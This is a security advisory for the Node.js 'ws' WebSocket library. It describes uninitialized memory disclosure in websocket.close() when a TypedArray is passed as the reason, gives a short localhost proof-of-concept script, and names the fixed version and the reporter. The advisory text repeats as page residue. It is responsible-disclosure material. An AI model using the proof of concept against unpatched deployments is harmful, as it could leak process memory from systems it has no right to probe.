Impact
The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.
Proof of concept
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer(
{ port: 0, skipUTF8Validation: true },
function () {
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`, {
skipUTF8Validation: true
});
ws.on('close', function (code, reason) {
deepStrictEqual(reason, Buffer.alloc(80));
});
}
);
wss.on('connection', function (ws) {
ws.close(1000, new Float32Array(20));
});Patches
The vulnerability was fixed in ws@8.20.1 (websockets/ws@c0327ec).
Credits
Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.
Remarks
Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.
Resources
References
ChALkeR Reporter
Impact
The
websocket.close()implementation is vulnerable to uninitialized memory disclosure when aTypedArrayis passed as the reason argument.Proof of concept
Patches
The vulnerability was fixed in ws@8.20.1 (websockets/ws@c0327ec).
Credits
Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.
Remarks
Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.
Resources
References